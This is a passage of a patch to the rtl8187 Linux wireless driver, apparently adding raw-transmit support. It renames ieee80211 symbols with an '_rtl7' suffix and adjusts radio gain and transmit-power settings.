ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern const long ieee80211_wlan_frequencies[]; +extern const long ieee80211_wlan_frequencies_rtl7[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } diff -Naur rtl8187_orig/beta-8187/Makefile rtl8187_rawtx/beta-8187/Makefile --- rtl8187_orig/beta-8187/Makefile 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/Makefile 2007-05-27 10:47:14.000000000 +0200 @@ -18,6 +18,8 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) + all: modules clean: diff -Naur rtl8187_orig/beta-8187/r8180_93cx6.c rtl8187_rawtx/beta-8187/r8180_93cx6.c --- rtl8187_orig/beta-8187/r8180_93cx6.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_93cx6.c 2007-06-21 23:44:42.000000000 +0200 @@ -87,7 +87,7 @@ u32 eprom_read(struct net_device *dev, u32 addr) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short read_cmd[]={1,1,0}; short addr_str[8]; int i; diff -Naur rtl8187_orig/beta-8187/r8180_hw.h rtl8187_rawtx/beta-8187/r8180_hw.h --- rtl8187_orig/beta-8187/r8180_hw.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_hw.h 2007-06-21 23:44:38.000000000 +0200 @@ -646,6 +646,7 @@ #define FFER_INTR ((1<<15)) #define FFER_GWAKE ((1<< 4)) - +#define MAX_TX_POWER 27 +#define MIN_TX_POWER 20 #endif diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.c rtl8187_rawtx/beta-8187/r8180_rtl8225.c --- rtl8187_orig/beta-8187/r8180_rtl8225.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_rtl8225.c 2007-06-21 23:44:42.000000000 +0200 @@ -173,7 +173,7 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); @@ -208,7 +208,7 @@ { #ifdef USE_8051_3WIRE - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; //u8 bit; u16 wReg80, wReg82, wReg84; @@ -255,7 +255,7 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); out = read_nic_word(dev, RFPinsOutput) & 0xfff3; @@ -349,7 +349,7 @@ void rtl8225_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int GainIdx; int GainSetting; @@ -454,9 +454,9 @@ void rtl8225_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; rtl8225_SetTXPowerLevel(dev, ch); @@ -474,7 +474,7 @@ write_nic_byte(dev,DIFS,0x24); //DIFS: 36 if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 else @@ -546,7 +546,7 @@ void rtl8225_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.h rtl8187_rawtx/beta-8187/r8180_rtl8225.h --- rtl8187_orig/beta-8187/r8180_rtl8225.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_rtl8225.h 2007-06-21 23:44:38.000000000 +0200 @@ -44,3 +44,5 @@ extern u32 rtl8225_chan[]; #endif + +void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch); diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225z2.c rtl8187_rawtx/beta-8187/r8180_rtl8225z2.c --- rtl8187_orig/beta-8187/r8180_rtl8225z2.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_rtl8225z2.c 2007-06-25 23:58:06.000000000 +0200 @@ -2,12 +2,12 @@ This is part of the rtl8180-sa2400 driver released under the GPL (See file COPYING for details). Copyright (c) 2005 Andrea Merello - - This files contains programming code for the rtl8225 + + This files contains programming code for the rtl8225 radio frontend. - + *Many* thanks to Realtek Corp. for their great support! - + */ @@ -32,51 +32,68 @@ }; u8 rtl8225z2_gain_a[]={ - 0x13,0x27,0x5a,//,0x37,// -82dbm - 0x23,0x23,0x58,//,0x37,// -82dbm - 0x33,0x1f,0x56,//,0x37,// -82dbm - 0x43,0x1b,0x54,//,0x37,// -78dbm - 0x53,0x17,0x51,//,0x37,// -74dbm - 0x63,0x24,0x4f,//,0x37,// -70dbm - 0x73,0x0f,0x4c,//,0x37,// -66dbm + 0x13,0x27,0x5a,//,0x37,// -82dbm + 0x23,0x23,0x58,//,0x37,// -82dbm + 0x33,0x1f,0x56,//,0x37,// -82dbm + 0x43,0x1b,0x54,//,0x37,// -78dbm + 0x53,0x17,0x51,//,0x37,// -74dbm + 0x63,0x24,0x4f,//,0x37,// -70dbm + 0x73,0x0f,0x4c,//,0x37,// -66dbm }; #if 0 u32 rtl8225_chan[] = { 0, //dummy channel 0 - 0x085c, //1 - 0x08dc, //2 - 0x095c, //3 - 0x09dc, //4 - 0x0a5c, //5 - 0x0adc, //6 - 0x0b5c, //7 - 0x0bdc, //8 - 0x0c5c, //9 - 0x0cdc, //10 - 0x0d5c, //11 - 0x0ddc, //12 - 0x0e5c, //13 + 0x085c, //1 + 0x08dc, //2 + 0x095c, //3 + 0x09dc, //4 + 0x0a5c, //5 + 0x0adc, //6 + 0x0b5c, //7 + 0x0bdc, //8 + 0x0c5c, //9 + 0x0cdc, //10 + 0x0d5c, //11 + 0x0ddc, //12 + 0x0e5c, //13 //0x0f5c, //14 - 0x0f72, // 14 + 0x0f72, // 14 }; #endif +#if 1 //- -u16 rtl8225z2_rxgain[]={ +u16 rtl8225z2_rxgain[]={ 0x0400, 0x0401, 0x0402, 0x0403, 0x0404, 0x0405, 0x0408, 0x0409, - 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, + 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, 0x0542, 0x0543, 0x0544, 0x0545, 0x0580, 0x0581, 0x0582, 0x0583, - 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, + 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, 0x0645, 0x0680, 0x0681, 0x0682, 0x0683, 0x0684, 0x0685, 0x0688, 0x0689, 0x068a, 0x068b, 0x068c, 0x0742, 0x0743, 0x0744, 0x0745, 0x0780, 0x0781, 0x0782, 0x0783, 0x0784, 0x0785, 0x0788, 0x0789, 0x078a, 0x078b, 0x078c, 0x078d, 0x0790, 0x0791, 0x0792, 0x0793, - 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, - 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, - 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, + 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb }; +#else +u16 rtl8225z2_rxgain[]={ + 0x0000, 0x0001, 0x0002, 0x0003, 0x0004, 0x0005, 0x0008, 0x0009, + 0x000a, 0x000b, 0x0102, 0x0103, 0x0104, 0x0105, 0x0140, 0x0141, + 0x0142, 0x0143, 0x0144, 0x0145, 0x0180, 0x0181, 0x0182, 0x0183, + 0x0184, 0x0185, 0x0188, 0x0189, 0x018a, 0x018b, 0x0243, 0x0244, + 0x0245, 0x0280, 0x0281, 0x0282, 0x0283, 0x0284, 0x0285, 0x0288, + 0x0289, 0x028a, 0x028b, 0x028c, 0x0342, 0x0343, 0x0344, 0x0345, + 0x0380, 0x0381, 0x0382, 0x0383, 0x0384, 0x0385, 0x0388, 0x0389, + 0x038a, 0x038b, 0x038c, 0x038d, 0x0390, 0x0391, 0x0392, 0x0393, + 0x0394, 0x0395, 0x0398, 0x0399, 0x039a, 0x039b, 0x039c, 0x039d, + 0x03a0, 0x03a1, 0x03a2, 0x03a3, 0x03a4, 0x03a5, 0x03a8, 0x03a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb +}; +#endif //2005.11.16, u8 ZEBRA2_CCK_OFDM_GAIN_SETTING[]={ @@ -129,23 +146,30 @@ void rtl8225z2_set_gain(struct net_device *dev, short gain) { u8* rtl8225_gain; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + u8 mode = priv->ieee80211->mode; - - if(mode == IEEE_B || mode == IEEE_G) + + if((mode&IEEE_B) == IEEE_B || (mode&IEEE_G) == IEEE_G) { + //printk(KERN_WARNING "mode ag!\n"); rtl8225_gain = rtl8225z2_gain_bg; - else + } else { rtl8225_gain = rtl8225z2_gain_a; - + //printk(KERN_WARNING "mode a!\n"); + } + //write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 3]); //write_phy_ofdm(dev, 0x19, rtl8225_gain[gain * 3 + 1]); //write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 2]); //2005.11.17, by ch-hsu write_phy_ofdm(dev, 0x0b, rtl8225_gain[gain * 3]); + mdelay(1); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 1]); + mdelay(1); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 3 + 2]); - write_phy_ofdm(dev, 0x21, 0x37); + mdelay(1); + write_phy_ofdm(dev, 0x21, 0x17); + mdelay(1); } @@ -153,33 +177,33 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_8185 == 2) write_phy_ofdm(dev, 0x21, 0x27); else write_phy_ofdm(dev, 0x21, 0x37); - + write_phy_ofdm(dev, 0x25, 0x20); write_phy_ofdm(dev, 0x11, 0x6); - + if(priv->card_8185 == 1 && priv->card_8185_Bversion) write_phy_ofdm(dev, 0x27, 0x8); else write_phy_ofdm(dev, 0x27, 0x88); - + write_phy_ofdm(dev, 0x14, 0); write_phy_ofdm(dev, 0x16, 0); write_phy_ofdm(dev, 0x15, 0x40); write_phy_ofdm(dev, 0x17, 0x40); - + write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 4]); write_phy_ofdm(dev, 0x23, rtl8225_gain[gain * 4 + 1]); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 4 + 2]); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 4 + 3]); - //rtl8225_set_gain_usb(dev, gain); + //rtl8225_set_gain_usb(dev, gain); } #endif @@ -193,7 +217,7 @@ // ThreeWireReg tdata; int i; short bit, rw; - + u8 wLength = 6; u8 rLength = 12; u8 low2high = 0; @@ -207,20 +231,20 @@ dataRead = 0; - oval &= ~0xf; + oval &= ~0xf; write_nic_word(dev, RFPinsOutput, oval | BB_HOST_BANG_EN ); udelay(4); write_nic_word(dev, RFPinsOutput, oval ); udelay(5); - + rw = 0; - + mask = (low2high) ? 0x01 : (((u32)0x01)<<(32-1)); for(i = 0; i < wLength/2; i++) { bit = ((data2Write&mask) != 0) ? 1 : 0; write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(1); - + write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); @@ -233,9 +257,9 @@ write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(2); break; } - + bit = ((data2Write&mask) != 0) ? 1: 0; - + write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); @@ -252,22 +276,22 @@ for(i = 0; i < rLength; i++) { write_nic_word(dev, RFPinsOutput, rw|oval); udelay(1); - + write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); tmp = read_nic_word(dev, RFPinsInput); - + dataRead |= (tmp & BB_HOST_BANG_CLK ? mask : 0); write_nic_word(dev, RFPinsOutput, (rw|oval)); udelay(2); mask = (low2high) ? (mask<<1) : (mask>>1); } - + write_nic_word(dev, RFPinsOutput, BB_HOST_BANG_EN|BB_HOST_BANG_RW|oval); udelay(2); - write_nic_word(dev, RFPinsEnable, oval2); + write_nic_word(dev, RFPinsEnable, oval2); write_nic_word(dev, RFPinsSelect, oval3); // Set To SW Switch write_nic_word(dev, RFPinsOutput, 0x3a0); @@ -280,61 +304,61 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + out = read_nic_word(dev, RFPinsOutput) & 0xfff3; - + write_nic_word(dev,RFPinsEnable, (read_nic_word(dev,RFPinsEnable) | 0x7)); - + select = read_nic_word(dev, RFPinsSelect); - - write_nic_word(dev, RFPinsSelect, select | 0x7 | + + write_nic_word(dev, RFPinsSelect, select | 0x7 | ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); - + force_pci_posting(dev); udelay(10); - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN );//| 0x1fff); - + force_pci_posting(dev); udelay(2); - + write_nic_word(dev, RFPinsOutput, out); - + force_pci_posting(dev); udelay(10); - - + + for(i=15; i>=0;i--){ - + bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out); - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); i--; bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out); } - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN); - + force_pci_posting(dev); udelay(10); - write_nic_word(dev, RFPinsOutput, out | + write_nic_word(dev, RFPinsOutput, out | ((priv->card_type == USB) ? 4 : BB_HOST_BANG_EN)); - write_nic_word(dev, RFPinsSelect, select | - ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); + write_nic_word(dev, RFPinsSelect, select | + ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); if(priv->card_type == USB) mdelay(2); @@ -348,30 +372,30 @@ short vz2 = 1; /* sw to reg pg 1 */ write_rtl8225(dev, 0, 0x1b7); - + /* reg 8 pg 1 = 23*/ if( read_rtl8225(dev, 8) != 0x588) vz2 = 0; - - else /* reg 9 pg 1 = 24 */ + + else /* reg 9 pg 1 = 24 */ if( read_rtl8225(dev, 9) != 0x700) vz2 = 0; - - /* sw back to pg 0 */ + + /* sw back to pg 0 */ write_rtl8225(dev, 0, 0xb7); return vz2; - + } #if 0 void rtl8225_rf_close(struct net_device *dev) { - write_rtl8225(dev, 0x4, 0x1f); - + write_rtl8225(dev, 0x4, 0x1f); + force_pci_posting(dev); mdelay(1); - + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_OFF); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_OFF); } @@ -380,24 +404,24 @@ short rtl8225_rf_set_sens(struct net_device *dev, short sens) { if (sens <0 || sens > 6) return -1; - + if(sens > 4) write_rtl8225(dev, 0x0c, 0x850); - else + else write_rtl8225(dev, 0x0c, 0x50); sens= 6-sens; rtl8225_set_gain(dev, sens); - + write_phy_cck(dev, 0x41, rtl8225_threshold[sens]); return 0; - + } #endif void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + // int GainIdx; // int GainSetting; int i; @@ -406,44 +430,47 @@ u8 max_cck_power_level; //u8 min_cck_power_level; u8 max_ofdm_power_level; - u8 min_ofdm_power_level; + u8 min_ofdm_power_level; u8 cck_power_level = 0xff & priv->chtxpwr[ch]; u8 ofdm_power_level = 0xff & priv->chtxpwr_ofdm[ch]; - - + + max_cck_power_level = 15; //min_cck_power_level = 0; max_ofdm_power_level = 25; // 12 -> 25 min_ofdm_power_level = 10; - + /* CCK power setting */ if(cck_power_level > max_cck_power_level) + { cck_power_level = max_cck_power_level; - + priv->chtxpwr[ch] = max_cck_power_level; + } + cck_power_level += priv->cck_txpwr_base; - + if(cck_power_level > 35) cck_power_level = 35; - - if(ch == 14) + + if(ch == 14) cck_power_table = rtl8225z2_tx_power_cck_ch14; - else + else cck_power_table = rtl8225z2_tx_power_cck; - - + + for(i=0;i<8;i++){ - + power = cck_power_table[i]; write_phy_cck(dev, 0x44 + i, power); } - + //write_nic_byte(dev, TX_GAIN_CCK, power); //2005.11.17, write_nic_byte(dev, TX_GAIN_CCK, ZEBRA2_CCK_OFDM_GAIN_SETTING[cck_power_level]); - + force_pci_posting(dev); mdelay(1); - + /* OFDM power setting */ // Old: // if(ofdm_power_level > max_ofdm_power_level) @@ -454,26 +481,26 @@ ofdm_power_level = max_ofdm_power_level; else ofdm_power_level += min_ofdm_power_level; - + ofdm_power_level += priv->ofdm_txpwr_base; - + if(ofdm_power_level > 35) ofdm_power_level = 35; - + rtl8185_set_anaparam2(dev,RTL8225_ANAPARAM2_ON); - + write_phy_ofdm(dev,2,0x42); write_phy_ofdm(dev,5,0); write_phy_ofdm(dev,6,0x40); write_phy_ofdm(dev,7,0); - write_phy_ofdm(dev,8,0x40); - + write_phy_ofdm(dev,8,0x40); + //write_nic_byte(dev, TX_GAIN_OFDM, ofdm_power_level); //2005.11.17, write_nic_byte(dev, TX_GAIN_OFDM, ZEBRA2_CCK_OFDM_GAIN_SETTING[ofdm_power_level]); - + force_pci_posting(dev); mdelay(1); //write_nic_byte(dev, TX_AGC_CONTROL,4); @@ -483,39 +510,39 @@ void rtl8225_set_mode(struct net_device *dev, short modeb) { write_phy_ofdm(dev, 0x15, (modeb ? 0x0 : 0x40)); - write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); + write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); } #endif void rtl8225z2_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; - + rtl8225z2_SetTXPowerLevel(dev, ch); - + write_rtl8225(dev, 0x7, rtl8225_chan[ch]); - + force_pci_posting(dev); mdelay(10); - + write_nic_byte(dev,SIFS,0x22);// SIFS: 0x22 - + if(gset) - write_nic_byte(dev,DIFS,20); //DIFS: 20 + write_nic_byte(dev,DIFS,20); //DIFS: 20 else - write_nic_byte(dev,DIFS,0x24); //DIFS: 36 - + write_nic_byte(dev,DIFS,0x24); //DIFS: 36 + if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 - + else write_nic_byte(dev,SLOT,0x14); //SLOT: 20 (0x14) - - + + if(gset){ write_nic_byte(dev,EIFS,91 - 20); // EIFS: 91 (0x5B) write_nic_byte(dev,CW_VAL,0x73); //CW VALUE: 0x37 @@ -529,68 +556,68 @@ } #if 0 -void rtl8225_host_pci_init(struct net_device *dev) +void rtl8225_host_pci_init(struct net_device *dev) { write_nic_word(dev, RFPinsOutput, 0x480); - + rtl8185_rf_pins_enable(dev); - + //if(priv->card_8185 == 2 && priv->enable_gpio0 ) /* version D */ //write_nic_word(dev, RFPinsSelect, 0x88); //else write_nic_word(dev, RFPinsSelect, 0x88 | SW_CONTROL_GPIO); /* 0x488 | SW_CONTROL_GPIO */ - + write_nic_byte(dev, GP_ENABLE, 0); - + force_pci_posting(dev); mdelay(200); - + write_nic_word(dev, GP_ENABLE, 0xff & (~(1<<6))); /* bit 6 is for RF on/off detection */ - + } -void rtl8225_host_usb_init(struct net_device *dev) +void rtl8225_host_usb_init(struct net_device *dev) { write_nic_byte(dev,RFPinsSelect+1,0); write_nic_byte(dev,GPIO,0); - + write_nic_byte_E(dev,0x53,read_nic_byte_E(dev,0x53) | (1<<7)); - + write_nic_byte(dev,RFPinsSelect+1,4); write_nic_byte(dev,GPIO,0x20); write_nic_byte(dev,GP_ENABLE,0); - - /* Config BB & RF */ + + /* Config BB & RF */ write_nic_word(dev, RFPinsOutput, 0x80); write_nic_word(dev, RFPinsSelect, 0x80); write_nic_word(dev, RFPinsEnable, 0x80); - + mdelay(100); - mdelay(1000); + mdelay(1000); } #endif -void rtl8225z2_rf_init(struct net_device *dev) +void rtl8225z2_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; u32 data,addr; - + priv->chan = channel; rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_type == USB) rtl8225_host_usb_init(dev); @@ -598,42 +625,42 @@ rtl8225_host_pci_init(dev); write_nic_dword(dev, RF_TIMING, 0x000a8008); - + brsr = read_nic_word(dev, BRSR); - - write_nic_word(dev, BRSR, 0xffff); + + write_nic_word(dev, BRSR, 0xffff); write_nic_dword(dev, RF_PARA, 0x100044); - + #if 1 //0->1 rtl8180_set_mode(dev, EPROM_CMD_CONFIG); write_nic_byte(dev, CONFIG3, 0x44); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); #endif - - + + rtl8185_rf_pins_enable(dev); // mdelay(1000); write_rtl8225(dev, 0x0, 0x2bf); mdelay(1); - - + + write_rtl8225(dev, 0x1, 0xee0); mdelay(1); write_rtl8225(dev, 0x2, 0x44d); mdelay(1); write_rtl8225(dev, 0x3, 0x441); mdelay(1); - + write_rtl8225(dev, 0x4, 0x8c3);mdelay(1); - - - + + + write_rtl8225(dev, 0x5, 0xc72);mdelay(1); // } - + write_rtl8225(dev, 0x6, 0xe6); mdelay(1); write_rtl8225(dev, 0x7, ((priv->card_type == USB)? 0x82a : rtl8225_chan[channel])); mdelay(1); @@ -653,28 +680,28 @@ write_rtl8225(dev, 0xe, 0x2b); mdelay(1); - write_rtl8225(dev, 0xf, 0x114); - - + write_rtl8225(dev, 0xf, 0x114); + + mdelay(100); - - + + //if(priv->card_type != USB) /* maybe not needed even for 8185 */ -// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); - +// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); + write_rtl8225(dev, 0x0, 0x1b7); - + for(i=0;i<95;i++){ write_rtl8225(dev, 0x1, (u8)(i+1)); - + #if 0 - if(priv->phy_ver == 1) + if(priv->phy_ver == 1) /* version A */ write_rtl8225(dev, 0x2, rtl8225a_rxgain[i]); else #endif /* version B & C & D*/ - + write_rtl8225(dev, 0x2, rtl8225z2_rxgain[i]); } write_rtl8225(dev, 0x3, 0x80); @@ -683,16 +710,16 @@ write_rtl8225(dev, 0x0, 0xb7); write_rtl8225(dev, 0x2, 0xc4d); - + if(priv->card_type == USB){ // force_pci_posting(dev); mdelay(200); - + write_rtl8225(dev, 0x2, 0x44d); - + // force_pci_posting(dev); mdelay(100); - + }//End of if(priv->card_type == USB) /* FIXME!! rtl8187 we have to check if calibrarion * is successful and eventually cal. again (repeat @@ -713,23 +740,23 @@ } } //force_pci_posting(dev); - - mdelay(200); //200 for 8187 - - + + mdelay(200); //200 for 8187 + + // //if(priv->card_type != USB){ // write_rtl8225(dev, 0x2, 0x44d); // write_rtl8225(dev, 0x7, rtl8225_chan[channel]); // write_rtl8225(dev, 0x2, 0x47d); -// +// // force_pci_posting(dev); // mdelay(100); -// +// // write_rtl8225(dev, 0x2, 0x44d); // //} - - write_rtl8225(dev, 0x0, 0x2bf); - + + write_rtl8225(dev, 0x0, 0x2bf); + if(priv->card_type != USB) rtl8185_rf_pins_enable(dev); //set up ZEBRA AGC table, 2005.11.17, @@ -744,20 +771,20 @@ mdelay(1); } -#if 0 +#if 0 for(i=0;i<128;i++){ write_phy_ofdm(dev, 0xb, rtl8225_agc[i]); - - mdelay(1); + + mdelay(1); write_phy_ofdm(dev, 0xa, (u8)i+ 0x80); - - mdelay(1); + + mdelay(1); } #endif - + force_pci_posting(dev); mdelay(1); - + write_phy_ofdm(dev, 0x0, 0x1); mdelay(1); write_phy_ofdm(dev, 0x1, 0x2); mdelay(1); write_phy_ofdm(dev, 0x2, ((priv->card_type == USB)? 0x42 : 0x62)); mdelay(1); @@ -771,20 +798,20 @@ write_phy_ofdm(dev, 0xa, 0x8); mdelay(1); - //write_phy_ofdm(dev, 0x18, 0xef); + //write_phy_ofdm(dev, 0x18, 0xef); // } //} write_phy_ofdm(dev, 0xb, 0x80); mdelay(1); write_phy_ofdm(dev, 0xc, 0x1);mdelay(1); - + //if(priv->card_type != USB) - write_phy_ofdm(dev, 0xd, 0x43); - + write_phy_ofdm(dev, 0xd, 0x43); + write_phy_ofdm(dev, 0xe, 0xd3);mdelay(1); - + #if 0 if(priv->card_8185 == 1){ if(priv->card_8185_Bversion) @@ -796,17 +823,17 @@ write_phy_ofdm(dev, 0xf, 0x38);mdelay(1); /*ver D & 8187*/ // } - + // if(priv->card_8185 == 1 && priv->card_8185_Bversion) // write_phy_ofdm(dev, 0x10, 0x04);/*ver B*/ // else write_phy_ofdm(dev, 0x10, 0x84);mdelay(1); /*ver C & D & 8187*/ - + write_phy_ofdm(dev, 0x11, 0x07);mdelay(1); /*agc resp time 700*/ - + // if(priv->card_8185 == 2){ /* Ver D & 8187*/ write_phy_ofdm(dev, 0x12, 0x20);mdelay(1); @@ -824,47 +851,46 @@ write_phy_ofdm(dev, 0x15, 0x40); mdelay(1); write_phy_ofdm(dev, 0x16, 0x0); mdelay(1); write_phy_ofdm(dev, 0x17, 0x40); mdelay(1); - + // if (priv->card_type == USB) // write_phy_ofdm(dev, 0x18, 0xef); - + write_phy_ofdm(dev, 0x18, 0xef);mdelay(1); - + write_phy_ofdm(dev, 0x19, 0x19); mdelay(1); write_phy_ofdm(dev, 0x1a, 0x20); mdelay(1); write_phy_ofdm(dev, 0x1b, 0x15);mdelay(1); - + write_phy_ofdm(dev, 0x1c, 0x4);mdelay(1); write_phy_ofdm(dev, 0x1d, 0xc5);mdelay(1); //2005.11.17, - + write_phy_ofdm(dev, 